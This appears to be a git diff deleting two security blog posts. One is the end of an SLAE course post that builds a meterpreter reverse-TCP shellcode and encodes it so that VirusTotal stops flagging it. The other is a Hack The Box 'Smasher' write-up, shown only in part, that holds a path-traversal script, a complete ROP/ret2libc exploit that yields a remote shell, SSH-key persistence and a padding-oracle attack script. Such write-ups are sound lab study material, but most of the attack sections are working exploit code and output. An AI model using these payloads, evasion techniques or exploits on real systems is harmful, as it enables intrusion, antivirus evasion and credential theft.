-To test the encoder and see what effects it has on AV engine detection, I used a meterpreter reverse TCP payload and compiled it using the test C program without any encoding first.
-
-```
-root@ragingbeaver:~# msfvenom -p linux/x86/meterpreter/reverse_tcp -f c LHOST=172.23.10.40 LPORT=4444
-[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 123 bytes
-Final size of c file: 543 bytes
-unsigned char buf[] =
-"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89"
-"\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c"
-"\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0"
-"\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05"
-"\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9"
-"\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd"
-"\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80"
-"\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00"
-"\x00\xcd\x80";
-```
-
-Testing the shellcode with the test program:
-
-```
-slemire@slae:~/slae32/assignment4$ gcc -z execstack -o msf msf.c
-slemire@slae:~/slae32/assignment4$ file msf
-msf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b36888fc1e3651d37ea86204f44e8d4078f99bd7, not stripped
-```
-
-```
-msf exploit(multi/handler) > run
-
-[*] Started reverse TCP handler on 172.23.10.40:4444
-[*] Sending stage (861480 bytes) to 172.23.10.37
-[*] Meterpreter session 1 opened (172.23.10.40:4444 -> 127.0.0.1) at 2018-11-22 08:08:36 -0500
-```
-
-When submitted on VirusTotal, the meterpreter payload was picked up by a few AV engines:
-
-
-
-Encoded version
----------------
-
-Next, the same payload was encoded with the custom encoder:
-
-```
-slemire@slae:~/slae32/assignment4$ ./encoder.py msf_met_reversetcp.txt
-[+] Shellcode not 4 bytes aligned, adding 1 \x90 bytes of padding...
-[+] Original shellcode (len: 124): \x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\x90
-[+] Encoded shellcode (len: 159): \x44\x75\x1a\x4e\x2e\x96\xc5\x75\x61\x4d\xcc\xce\xa6\x9f\x8f\xb4\x55\x3d\xd2\x04\x28\x73\xbf\xa8\xe5\xca\xc0\xdd\x66\xa2\xb1\xb1\xb3\xd9\x99\xf0\x11\x79\xac\xe1\x23\x73\x7b\x45\x49\x40\xa1\xc9\x17\x11\xdf\x5a\x5f\x12\x9c\x4b\x05\x52\x32\x8b\xa9\x0b\xc1\x94\xdd\x0a\x52\x0a\x0a\x0a\xb7\xb2\xdd\xb7\xdd\x07\xce\x36\xe4\x8e\xf6\x36\x73\x76\x3b\x45\x62\xae\xf8\x3c\x24\x24\x9d\x23\x96\x9c\x15\x9c\x9c\x8c\xf7\xfb\x1c\x36\x14\x38\x88\x34\xdb\xf9\xcf\x4a\x4f\x02\xb2\x72\x29\x62\x0a\xb2\x88\x3e\x11\x69\x01\x3b\xf6\x38\x8b\x37\x8c\xf4\x4c\x09\x0c\x35\x8d\xd4\xca\x37\xa9\xa9\xa9\xa9\xa8\x65\x65\x65\x64\xde\x9b\x0b\x1b\x56\x9b\x90\x90\xaa\xaa
-[+] Encoded shell in NASM format: 0x44,0x75,0x1a,0x4e,0x2e,0x96,0xc5,0x75,0x61,0x4d,0xcc,0xce,0xa6,0x9f,0x8f,0xb4,0x55,0x3d,0xd2,0x04,0x28,0x73,0xbf,0xa8,0xe5,0xca,0xc0,0xdd,0x66,0xa2,0xb1,0xb1,0xb3,0xd9,0x99,0xf0,0x11,0x79,0xac,0xe1,0x23,0x73,0x7b,0x45,0x49,0x40,0xa1,0xc9,0x17,0x11,0xdf,0x5a,0x5f,0x12,0x9c,0x4b,0x05,0x52,0x32,0x8b,0xa9,0x0b,0xc1,0x94,0xdd,0x0a,0x52,0x0a,0x0a,0x0a,0xb7,0xb2,0xdd,0xb7,0xdd,0x07,0xce,0x36,0xe4,0x8e,0xf6,0x36,0x73,0x76,0x3b,0x45,0x62,0xae,0xf8,0x3c,0x24,0x24,0x9d,0x23,0x96,0x9c,0x15,0x9c,0x9c,0x8c,0xf7,0xfb,0x1c,0x36,0x14,0x38,0x88,0x34,0xdb,0xf9,0xcf,0x4a,0x4f,0x02,0xb2,0x72,0x29,0x62,0x0a,0xb2,0x88,0x3e,0x11,0x69,0x01,0x3b,0xf6,0x38,0x8b,0x37,0x8c,0xf4,0x4c,0x09,0x0c,0x35,0x8d,0xd4,0xca,0x37,0xa9,0xa9,0xa9,0xa9,0xa8,0x65,0x65,0x65,0x64,0xde,0x9b,0x0b,0x1b,0x56,0x9b,0x90,0x90,0xaa,0xaa
-```
-
-The shellcode is added to the decoder stub assembly file, compiled and linked:
-
-```
-slemire@slae:~/slae32/assignment4$ ../compile.sh stub_decoder
-[+] Assembling with Nasm ...
-[+] Linking ...
-[+] Shellcode: \xeb\x57\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x5e\xbf\x90\x90\xaa\xaa\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x8a\x5c\x16\x01\x8a\x7c\x16\x02\x8a\x4c\x16\x03\x8a\x6c\x16\x04\x32\x1c\x16\x32\x3c\x16\x32\x0c\x16\x32\x2c\x16\x88\x2c\x04\x88\x4c\x04\x01\x88\x7c\x04\x02\x88\x5c\x04\x03\x39\x7c\x16\x05\x74\x0a\x42\x42\x42\x42\x42\x83\xc0\x04\x75\xc5\xff\xe4\xe8\xa4\xff\xff\xff\x44\x75\x1a\x4e\x2e\x96\xc5\x75\x61\x4d\xcc\xce\xa6\x9f\x8f\xb4\x55\x3d\xd2\x04\x28\x73\xbf\xa8\xe5\xca\xc0\xdd\x66\xa2\xb1\xb1\xb3\xd9\x99\xf0\x11\x79\xac\xe1\x23\x73\x7b\x45\x49\x40\xa1\xc9\x17\x11\xdf\x5a\x5f\x12\x9c\x4b\x05\x52\x32\xa9\x0b\xc1\x94\xdd\x0a\x52\x0a\x0a\x0a\xb7\xb2\xdd\xb7\xdd\x07\xce\x36\xe4\x8e\xf6\x36\x73\x76\x3b\x45\x62\xae\xf8\x3c\x24\x24\x9d\x23\x96\x9c\x15\x9c\x9c\x8c\xf7\xfb\x1c\x36\x14\x38\x88\x34\xdb\xf9\xcf\x4a\x4f\x02\xb2\x72\x29\x62\x0a\xb2\x88\x3e\x11\x69\x01\x3b\xf6\x38\x8b\x37\x8c\xf4\x4c\x09\x0c\x35\x8d\xd4\xca\xa9\xa9\xa9\xa9\xa8\x65\x65\x65\x64\xde\x9b\x1b\x56\x9b\x90\x90\xaa\xaa
-[+] Length: 250
-[+] Done!
-```
-
-Veryfing that the shellcode still works...
-
-```
-msf exploit(multi/handler) > run
-
-[*] Started reverse TCP handler on 172.23.10.40:4444
-[*] Sending stage (861480 bytes) to 172.23.10.37
-[*] Meterpreter session 3 opened (127.0.0.1 -> 127.0.0.1) at 2018-11-22 08:16:09 -0500
-```
-
-The file is not picked up by Virus Total anymore:
-
-
-
-Automating the creation of the shellcode
-----------------------------------------
-
-We don't need to manually add the encoded shellcode to the `.asm` file every time and re-compile from NASM. The python script has been modified to automatically prepend the decoder stub to the output shellcode so we can just use this in the test C program.
-
-```
-slemire@slae:~/slae32/assignment4$ ./encoder.py msf_met_reversetcp.txt
-[+] Shellcode not 4 bytes aligned, adding 1 \x90 bytes of padding...
-[+] Original shellcode (len: 124): \x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xac\x17\x0a\x28\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\x90
-
-[+] Encoded shellcode (len: 159): \x45\x74\x1b\x4f\x2f\x45\x16\xa6\xb2\x9e\x93\x91\xf9\xc0\xd0\x22\xc3\xab\x44\x92\xcf\x94\x58\x4f\x02\x94\x9e\x83\x38\xfc\x7c\x7c\x7e\x14\x54\x3a\xdb\xb3\x66\x2b\xd5\x85\x8d\xb3\xbf\xb6\x57\x3f\xe1\xe7\x39\xbc\xb9\xf4\x7a\x2f\x61\x36\x56\xef\x4f\xed\x27\x72\x3b\x9c\xc4\x9c\x9c\x9c\x5c\x59\x36\x5c\x36\x70\xb9\x41\x93\xf9\x17\xd7\x92\x97\xda\x95\xb2\x7e\x28\xec\x77\x77\xce\x70\xc5\xd3\x5a\xd3\xd3\xc3\x14\x18\xff\xd5\xf7\x7e\xce\x72\x9d\xbf\xe4\x61\x64\x29\x99\x67\x3c\x77\x1f\xa7\xa0\x16\x39\x41\x29\xf7\x3a\xf4\x47\xfb\x5c\x24\x9c\xd9\xdc\x3d\x85\xdc\xc2\x3f\x51\x51\x51\x51\x50\x77\x77\x77\x76\xcc\x6f\xff\xef\xa2\x6f\x90\x90\xaa\xaa
-
-[+] Encoded shell in NASM format: 0x45,0x74,0x1b,0x4f,0x2f,0x45,0x16,0xa6,0xb2,0x9e,0x93,0x91,0xf9,0xc0,0xd0,0x22,0xc3,0xab,0x44,0x92,0xcf,0x94,0x58,0x4f,0x02,0x94,0x9e,0x83,0x38,0xfc,0x7c,0x7c,0x7e,0x14,0x54,0x3a,0xdb,0xb3,0x66,0x2b,0xd5,0x85,0x8d,0xb3,0xbf,0xb6,0x57,0x3f,0xe1,0xe7,0x39,0xbc,0xb9,0xf4,0x7a,0x2f,0x61,0x36,0x56,0xef,0x4f,0xed,0x27,0x72,0x3b,0x9c,0xc4,0x9c,0x9c,0x9c,0x5c,0x59,0x36,0x5c,0x36,0x70,0xb9,0x41,0x93,0xf9,0x17,0xd7,0x92,0x97,0xda,0x95,0xb2,0x7e,0x28,0xec,0x77,0x77,0xce,0x70,0xc5,0xd3,0x5a,0xd3,0xd3,0xc3,0x14,0x18,0xff,0xd5,0xf7,0x7e,0xce,0x72,0x9d,0xbf,0xe4,0x61,0x64,0x29,0x99,0x67,0x3c,0x77,0x1f,0xa7,0xa0,0x16,0x39,0x41,0x29,0xf7,0x3a,0xf4,0x47,0xfb,0x5c,0x24,0x9c,0xd9,0xdc,0x3d,0x85,0xdc,0xc2,0x3f,0x51,0x51,0x51,0x51,0x50,0x77,0x77,0x77,0x76,0xcc,0x6f,0xff,0xef,0xa2,0x6f,0x90,0x90,0xaa,0xaa
-
-[+] Encoded shellcode /w decoder stub (len: 253): \xeb\x57\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x5e\xbf\x90\x90\xaa\xaa\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x83\xec\x7f\x8a\x5c\x16\x1\x8a\x7c\x16\x2\x8a\x4c\x16\x3\x8a\x6c\x16\x4\x32\x1c\x16\x32\x3c\x16\x32\xc\x16\x32\x2c\x16\x88\x2c\x4\x88\x4c\x4\x1\x88\x7c\x4\x2\x88\x5c\x4\x3\x39\x7c\x16\x5\x74\xa\x42\x42\x42\x42\x42\x83\xc0\x4\x75\xc5\xff\xe4\xe8\xa4\xff\xff\xff\x45\x74\x1b\x4f\x2f\x45\x16\xa6\xb2\x9e\x93\x91\xf9\xc0\xd0\x22\xc3\xab\x44\x92\xcf\x94\x58\x4f\x02\x94\x9e\x83\x38\xfc\x7c\x7c\x7e\x14\x54\x3a\xdb\xb3\x66\x2b\xd5\x85\x8d\xb3\xbf\xb6\x57\x3f\xe1\xe7\x39\xbc\xb9\xf4\x7a\x2f\x61\x36\x56\xef\x4f\xed\x27\x72\x3b\x9c\xc4\x9c\x9c\x9c\x5c\x59\x36\x5c\x36\x70\xb9\x41\x93\xf9\x17\xd7\x92\x97\xda\x95\xb2\x7e\x28\xec\x77\x77\xce\x70\xc5\xd3\x5a\xd3\xd3\xc3\x14\x18\xff\xd5\xf7\x7e\xce\x72\x9d\xbf\xe4\x61\x64\x29\x99\x67\x3c\x77\x1f\xa7\xa0\x16\x39\x41\x29\xf7\x3a\xf4\x47\xfb\x5c\x24\x9c\xd9\xdc\x3d\x85\xdc\xc2\x3f\x51\x51\x51\x51\x50\x77\x77\x77\x76\xcc\x6f\xff\xef\xa2\x6f\x90\x90\xaa\xaa
-```
-
-This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
-
-[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)
-
-Student ID: SLAE-1236
-
-All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32)
\ No newline at end of file
diff --git a/_posts/2018-11-24-htb-writeup-smasher.md b/_posts/2018-11-24-htb-writeup-smasher.md
deleted file mode 100644
index 1f3f21d0c2..0000000000
--- a/_posts/2018-11-24-htb-writeup-smasher.md
+++ /dev/null
@@ -1,496 +0,0 @@
----
-layout: single
-title: Smasher - Hack The Box
-date: 2018-11-24
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-smasher/smasher.png
-categories:
- - hackthebox
- - infosec
-tags:
- - hackthebox
- - binary exploit
----
-
-## Linux / 10.10.10.89
-
-
-
-This blog post is a writeup of the excellent Hack the Box machine created by dzonerzy.
-
-### Summary
-
-- The webserver used is vulnerable to a path traversal bug and buffer overflow in the GET parameter
-- By using the path traversal bug we can get the Makefile and copy of the webserver executable
-- The buffer overflow can be solved by leaking libc's base address and then building a ropchain to ret2libc
-- To gain user, we have to solve an Oracle padding challenge that gives us the user password
-- Priv esc is a race condition in a suid root ELF binary, we can swap out the file with a symlink to /root/root.txt to get the root flag
-
-### Tools used
-
-- pwntools
-- [https://libc.blukat.me/](https://libc.blukat.me/)
-- [https://github.com/twd2/padding-oracle-attack/blob/master/attack.py](https://github.com/twd2/padding-oracle-attack/blob/master/attack.py)
-
-### Nmap
-
-Quick port scan reveals a webserver running on a non standard port 1111.
-
-```
-root@kali:~/hackthebox# nmap -sC -sV 10.10.10.89
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-11 20:09 EDT
-Nmap scan report for 10.10.10.89
-Host is up (0.017s latency).
-Not shown: 998 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 a6:23:c5:7b:f1:1f:df:68:25:dd:3a:2b:c5:74:00:46 (RSA)
-| 256 57:81:a5:46:11:33:27:53:2b:99:29:9a:a8:f3:8e:de (ECDSA)
-|_ 256 c5:23:c1:7a:96:d6:5b:c0:c4:a5:f8:37:2e:5d:ce:a0 (ED25519)
-1111/tcp open lmsocialserver?
-| fingerprint-strings:
-| FourOhFourRequest, GenericLines, SIPOptions:
-| HTTP/1.1 404 Not found
-| Server: shenfeng tiny-web-server
-| Content-length: 14
-| File not found
-| GetRequest, HTTPOptions, RTSPRequest:
-| HTTP/1.1 200 OK
-| Server: shenfeng tiny-web-server
-| Content-Type: text/html
-|
-```
-
-### Web service
-
-Based on the banner, we know the website is running using the [tiny-web-server](https://github.com/shenfeng/tiny-web-server) server application.
-
-There's already an [issue](https://github.com/shenfeng/tiny-web-server/issues/2) documented for this application about a path traversal vulnerability.
-
-We can walk the file system by doing a `GET ../../../../`, and it also works for directories so we can get a directory listing.
-
-I wrote a small python script to fix the output and sort the results to make it easier to work with:
-
-```python
-#!/usr/bin/python
-
-from pwn import *
-import sys
-import requests
-
-context.log_level = 'info'
-
-ls = []
-
-r = requests.get('http://10.10.10.89:1111/../../../../../%s' % (sys.argv[1]))
-if '
' in r.text:
- for line in r.text.splitlines():
- if '
' in line:
- # print(line.split('"')[1])
- ls.append(line.split('"')[1])
- for i in (sorted(ls)):
- print(i)
-else:
- print r.text
-```
-
-We find the list of users in `/etc/passwd`
-
-```
-root@kali:~/hackthebox/Machines/Smasher# python scanner.py /etc/passwd
-root:x:0:0:root:/root:/bin/bash
-daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-bin:x:2:2:bin:/bin:/usr/sbin/nologin
-sys:x:3:3:sys:/dev:/usr/sbin/nologin
-sync:x:4:65534:sync:/bin:/bin/sync
-games:x:5:60:games:/usr/games:/usr/sbin/nologin
-man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
-lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
-mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
-news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
-uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
-proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
-www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
-backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
-list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
-irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
-gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
-nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
-systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
-systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
-systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
-systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
-syslog:x:104:108::/home/syslog:/bin/false
-_apt:x:105:65534::/nonexistent:/bin/false
-messagebus:x:106:110::/var/run/dbus:/bin/false
-uuidd:x:107:111::/run/uuidd:/bin/false
-sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
-www:x:1000:1000:www,,,:/home/www:/bin/bash
-smasher:x:1001:1001:,,,:/home/smasher:/bin/bash
-```
-
-`www` and `smasher` home directories are probably where we want to look next:
-
-We can't read the home directory of `smasher`:
-
-```
-root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/smasher
-File not found
-```
-
-But we can read what's in `www`:
-
-```
-root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www
-.bash_logout
-.bashrc
-.cache/
-.profile
-.python_history
-.ssh/
-restart.sh
-tiny-web-server/
-```
-
-Inside the web server directory, we can see that the Makefile has been modified to disable the stack protector and DEP/NX. This is our hint that we are probably looking at a buffer overflow exploit to get user access on this machine.
-
-```
-root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www/tiny-web-server
-.git/
-Makefile
-README.md
-public_html/
-tiny
-tiny.c
-
-root@kali:~/hackthebox/Machines/Smasher# python scanner.py /home/www/tiny-web-server/Makefile
-CC = c99
-CFLAGS = -Wall -O2
-
-# LIB = -lpthread
-
-all: tiny
-
-tiny: tiny.c
- $(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)
-
-clean:
- rm -f *.o tiny *~
-```
-
-Next, we'll grab the binary file and check if it's compiled with additional protections:
-
-```
-oot@kali:~/hackthebox/Machines/Smasher# nc -nv 10.10.10.89 1111 > tiny
-(UNKNOWN) [10.10.10.89] 1111 (?) open
-GET ../../../../home/www/tiny-web-server/tiny
-```
-
-We edit the file with vi and strip the HTTP headers, then we get a clean ELF file:
-
-```
-root@kali:~/hackthebox/Machines/Smasher# file tiny
-tiny: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b872377623aa9e081bc7d72c8dbe882f03bf66b7, with debug_info, not stripped
-
-root@kali:~/hackthebox/Machines/Smasher# checksec tiny
-[*] '/root/hackthebox/Machines/Smasher/tiny'
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX disabled
- PIE: No PIE
- FORTIFY: Enabled
-```
-
-### Buffer overflow
-
-There's an overflow in the GET parameter: if we send more than 568 characters in the GET request it'll crash. Because we have the binary and we can look around the file system we can:
-
-- Check the PLT/GOT offsets in the binary
-- Determine the libc version running on the target system
-
-To find the libc base address, we'll construct a rop chain and use the `read` function already present in the PLT. By chance, the `RDX` register is already set to a large value so we don't need to find a gadget to mess with it. The binary contains `POP RDI` and `POP RSI` gadgets so we can pass the right parameters to the `read` function and dump a chunk of memory.
-
-Calculating the libc address is a matter of fetching the `read` address from the GOT, then substracting its offset (which we know because we have the libc version). After, we'll calculate the memory address for `system`, `dup2` and the `/bin/sh` string.
-
-We need to build a ROP chain that calls `dup2` first so we can redirect stdin and stdout to the socket.
-
-The final exploit is:
-
-```python
-#!/usr/bin/python
-
-from pwn import *
-
-import urllib
-import sys
-
-r = remote('10.10.10.89', 1111)
-
-fd = 4
-offset = 568
-junk = p64(0xAABBAABBAABBAABB)
-
-plt_read = p64(0x400cf0)
-plt_write = p64(0x400c50)
-poprdi = p64(0x4011dd)
-poprsi = p64(0x4011db)
-
-payload_stage1 = ''
-payload_stage1 += 'A' * offset
-payload_stage1 += poprdi + p64(fd)
-payload_stage1 += poprsi + p64(0x603088) + junk
-payload_stage1 += plt_write
-
-r.send('GET /%s\n\n' % urllib.quote(payload_stage1))
-buf = r.recv().split('File not found')[1][0:8]
-read_addr = u64(buf)
-libc_base = read_addr - 0xf7250 # https://libc.blukat.me/?q=_rtld_global%3A0&l=libc6_2.23-0ubuntu10_amd64
-system_addr = libc_base + 0x45390
-str_bin_sh = libc_base + 0x18cd57
-dup2 = libc_base + 0xf7970
-
-log.info('libc base address is: %s' % hex(libc_base))
-log.info('read address is : %s' % hex(read_addr))
-log.info('system address is: %s' % hex(system_addr))
-log.info('dup2 address is: %s' % hex(dup2))
-log.info('/bin/sh address is: %s' % hex(str_bin_sh))
-
-r2 = remote('10.10.10.89', 1111)
-payload_stage2 = ''
-payload_stage2 += 'A' * offset
-payload_stage2 += poprdi + p64(fd)
-payload_stage2 += poprsi + p64(0x0) + junk
-payload_stage2 += p64(dup2)
-payload_stage2 += poprdi + p64(fd)
-payload_stage2 += poprsi + p64(0x1) + junk
-payload_stage2 += p64(dup2)
-payload_stage2 += poprdi + p64(str_bin_sh)
-payload_stage2 += p64(system_addr)
-
-r2.send('GET /%s\n\n' % urllib.quote(payload_stage2))
-r2.recvuntil('File not found')
-r2.interactive()
-```
-
-The exploit in action:
-
-```
-root@kali:~/hackthebox/Machines/Smasher# python exploit.py
-[+] Opening connection to 10.10.10.89 on port 1111: Done
-[*] libc base address is: 0x7f561f10e000
-[*] read address is : 0x7f561f205250
-[*] system address is: 0x7f561f153390
-[*] dup2 address is: 0x7f561f205970
-[*] /bin/sh address is: 0x7f561f29ad57
-[+] Opening connection to 10.10.10.89 on port 1111: Done
-[*] Switching to interactive mode
-$ id
-uid=1000(www) gid=1000(www) groups=1000(www)
-```
-
-After getting that shell, we can add our SSH public key to `/home/www/.ssh/authorized_keys` so we can log in directly without using the exploit.
-
-```
-root@kali:~# ssh www@10.10.10.89
-Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-124-generic x86_64)
-
- * Documentation: https://help.ubuntu.com
- * Management: https://landscape.canonical.com
- * Support: https://ubuntu.com/advantage
-Last login: Tue Jun 12 01:34:47 2018 from 10.10.14.23
-```
-### Oracle padding
-
-There's a hidden service runnning on port 1337 which prompts for a ciphertext string:
-
-```
-www@smasher:~$ netstat -panut |more
-(Not all processes could be identified, non-owned process info
- will not be shown, you would have to be root to see it all.)
-Active Internet connections (servers and established)
-Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
-tcp 0 0 0.0.0.0:1111 0.0.0.0:* LISTEN 29166/tiny
-tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN -
-tcp 0 0 0.0.0.0:1338 0.0.0.0:* LISTEN 8562/socat
-tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
-```
-
-```
-www@smasher:~$ nc 127.0.0.1 1337
-[*] Welcome to AES Checker! (type 'exit' to quit)
-[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
-Insert ciphertext: test
-Generic error, ignore me!
-```
-
-This looks like a challenge which can be solved through an Oracle Padding attack.
-
-To solve this we'll modify the following script: [https://github.com/twd2/padding-oracle-attack/blob/master/attack.py](https://github.com/twd2/padding-oracle-attack/blob/master/attack.py)
-
-Note: latest version of pwntools needs to be installed for Python3 in order for this to work: `pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git`
-
-```python
-import sys
-import time
-import urllib
-import urllib.parse
-import urllib.request
-import random
-import argparse
-import binascii
-from pwn import *
-import base64
-
-def api(data):
- print(data)
- r = remote("10.10.10.89",1338,level='warn')
- r.recvuntil("Insert ciphertext: ")
-
- r.sendline(base64.b64encode(binascii.unhexlify(data)))
- print(base64.b64encode(binascii.unhexlify(data)))
- tmp = r.recvuntil('Insert ciphertext:').decode("utf-8")
- r.close()
- if 'OK!' in tmp:
- return True
- if 'Invalid' in tmp:
- return False
-
-
-def is_valid(iv, c):
- # Test if the padding of (iv ^ c^(-1)) is valid.
- data = binascii.hexlify(bytearray(iv)).decode() + binascii.hexlify(bytearray(c)).decode()
- # print(data)
- return api(data)
-
-def attack(data, block_id, is_valid):
- if 16 * block_id + 32 > len(data):
- print('Block id is too large.')
- exit(1)
- c_p = list(data[16 * block_id:16 * block_id + 16]) # Previous cipher block
- iv = [random.choice(range(256)) for i in range(0, 16)] # *Random* initialization vector is necessary.
- c = data[16 * block_id + 16:16 * block_id + 32] # Current cipher block
-
- plain = []
- for n in range(1, 17): # Which byte (in reverse order)?
- for i in range(0, 256): # All possibilities of iv[-n]
- iv[-n] = i
- if is_valid(iv, c): # Padding is valid, so (iv[-n] ^ c^(-1)[-n]) is n, (iv[-n] ^ n) is c^(-1)[-n].
- break
- # print(iv[-n] ^ n ^ c_p[-n], chr(iv[-n] ^ n ^ c_p[-n]))
- # Calculate plain text.
- # Note: (iv[-n] ^ n) is c^(-1)[-n], so ((iv[-n] ^ n) ^ c_p[-n]) == (c^(-1)[-n] ^ c_p[-n]) is (plain text)[-n].
- plain.append(iv[-n] ^ n ^ c_p[-n])
- for i in range(1, n + 1):
- iv[-i] = iv[-i] ^ n ^ (n + 1)
- # Note:
- # For futher attack,
- # For i in [1, n], we want (new iv[-i] ^ c^(-1)[-i]) to be (n + 1), so that we can attack c^(-1)[-(n + 1)] using padding oracle.
- # In particular, for i == n, we want (new iv[-n] ^ c^(-1)[-n]) to be (n + 1), so new iv[-n] should be (c^(-1)[-n] ^ (n + 1)) == ((iv[-n] ^ n) ^ (n + 1)).
- # In particular, for i in [1, n - 1], we want (new iv[-i] ^ c^(-1)[-i]) to be (n + 1). Please note that (iv[-i] ^ c^(-1)[-i]) is n, so new iv[-i] should be (c^(-1)[-i] ^ (n + 1)) == ((iv[-i] ^ n) ^ (n + 1))
- plain.reverse()
- return bytearray(plain)
-
-def main():
- # Data from http://10.60.0.212:5757/generate
- #data_hex = '74b6510402f53b1661b98a2cfee1f1b5d65753e5ca0ccb1356c0ef871a0118bc47c245dcb51dc51efd473e5f63f3a8c94818195d08d01e740f27d07b0893d0cd'
- data_hex = '8ab466581ee825231bb410b842ea01d770c2d3c348d3a31b71610e73de2ad0e5cf6df8119be97dc4790f43bafb35d163a3a852a3ab6882a2d8213186a4fb1776'
- data = binascii.unhexlify(data_hex)
- for i in range(0, 3):
- print(attack(data, i, is_valid).decode(), end='')
-
-if __name__ == '__main__':
- main()
-```
-
-We can redirect to the local 1337 port using socat: `socat tcp-listen:1338,reuseaddr,fork tcp:localhost:1337`
-
-Then we'll launch the script against port 1338 and let it run for a bit:
-
-```
-python3 oracler.py > oracler_output.txt
-```
-
-A few lines stand out in the output:
-
-```
-b'utEFLXzYEkBmxXPAN4g253DC08NI06MbcWEOc94q0OU='
- user 'smasher' 42eb200bed0f389985bbe43762f1ba00cf6df8119be97dc4790f43bafb35d163
-```
-
-```
-b'CaH58wii128IH3ksvFujmc9t+BGb6X3EeQ9Duvs10WM='
-is: PaddingOraclde1ffb8adbdc35ac24caa42050f32100a3a852a3ab6882a2d8213186a4fb1776
-```
-
-```
